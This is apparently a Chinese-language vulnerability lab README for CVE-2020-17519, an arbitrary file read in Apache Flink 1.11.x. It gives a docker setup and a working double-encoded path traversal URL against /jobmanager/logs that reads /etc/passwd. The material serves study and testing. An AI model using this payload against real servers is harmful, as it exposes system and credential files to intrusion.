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flink/CVE-2020-17519/README.zh-cn.md
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flink/CVE-2020-17519/README.zh-cn.md
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# Apache Flink `jobmanager/logs` 路径穿越漏洞(CVE-2020-17519)
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Apache Flink 是一个开源的分布式流处理和批处理大数据计算引擎。
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Apache Flink 1.11.0 版本中引入的一个更改(同时也存在于 1.11.1 和 1.11.2 版本中)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任意文件。
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参考链接:
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- <https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801>
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- <https://nvd.nist.gov/vuln/detail/CVE-2020-17519>
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## 环境搭建
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执行如下命令启动一个 Apache Flink jobmanager 1.11.2:
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```
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docker compose up -d
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```
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环境启动后,访问 `http://your-ip:8081` 即可查看到 Apache Flink 的管理页面。
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## 漏洞复现
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通过以下 URL 可以读取服务器上的 `/etc/passwd` 文件内容:
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```
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http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
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```
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